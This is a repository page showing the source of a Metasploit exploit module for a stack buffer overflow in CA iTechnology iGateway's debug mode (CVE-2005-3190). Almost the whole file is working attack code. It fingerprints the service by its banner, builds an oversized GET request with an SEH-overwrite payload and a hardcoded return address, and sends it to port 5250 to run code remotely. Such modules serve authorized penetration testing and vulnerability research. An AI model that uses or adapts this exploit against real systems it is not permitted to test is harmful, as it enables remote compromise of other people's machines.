Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / http / ca_igateway_debug.rb @ master

History | View | Annotate | Download (2.3 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
class Metasploit3 < Msf::Exploit::Remote
13
        Rank = AverageRanking
14

    
15
        include Msf::Exploit::Remote::Tcp
16
        include Msf::Exploit::Seh
17

    
18
        def initialize(info = {})
19
                super(update_info(info,
20
                        'Name'           => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
21
                        'Description'    => %q{
22
                                        This module exploits a vulnerability in the Computer Associates
23
                                iTechnology iGateway component. When <Debug>True</Debug> is enabled
24
                                in igateway.conf (non-default), it is possible to overwrite the stack
25
                                and execute code remotely. This module works best with Ordinal payloads.
26
                        },
27
                        'Author'         => 'patrick',
28
                        'License'        => MSF_LICENSE,
29
                        'Version'        => '$Revision$',
30
                        'References'     =>
31
                                [
32
                                        [ 'CVE', '2005-3190' ],
33
                                        [ 'OSVDB', '19920' ],
34
                                        [ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
35
                                        [ 'URL', 'http://www.milw0rm.com/exploits/1243' ],
36
                                        [ 'BID', '15025' ],
37
                                ],
38
                        'DefaultOptions' =>
39
                                {
40
                                        'EXITFUNC' => 'seh',
41
                                },
42
                        'Payload'        =>
43
                                {
44
                                        'Space'    => 1024,
45
                                        'BadChars' => "\x00\x0a\x0d\x20",
46
                                        'StackAdjustment' => -3500,
47
                                        'Compat'   =>
48
                                        {
49
                                                'ConnectionType' => '+ws2ord',
50
                                        },
51
                                },
52
                        'Platform'       => 'win',
53
                        'Targets'        =>
54
                                [
55
                                        [ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
56
                                ],
57
                        'Privileged'     => true,
58
                        'DisclosureDate' => 'Oct 06 2005',
59
                        'DefaultTarget'  => 0))
60

    
61
                register_options(
62
                        [
63
                                Opt::RPORT(5250),
64
                        ], self.class)
65
        end
66

    
67
        def check
68
                connect
69
                sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n")
70
                banner = sock.get(-1,3)
71

    
72
                if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique?
73
                        return Exploit::CheckCode::Detected
74
                end
75
                return Exploit::CheckCode::Safe
76
        end
77

    
78
        def exploit
79
                connect
80

    
81
                seh = generate_seh_payload(target.ret)
82
                buffer = Rex::Text.rand_text_alphanumeric(5000)
83
                buffer[1082, seh.length] = seh
84
                sploit = "GET /" + buffer + " HTTP/1.0"
85

    
86
                sock.put(sploit + "\r\n\r\n\r\n")
87

    
88
                disconnect
89
                handler
90
        end
91
end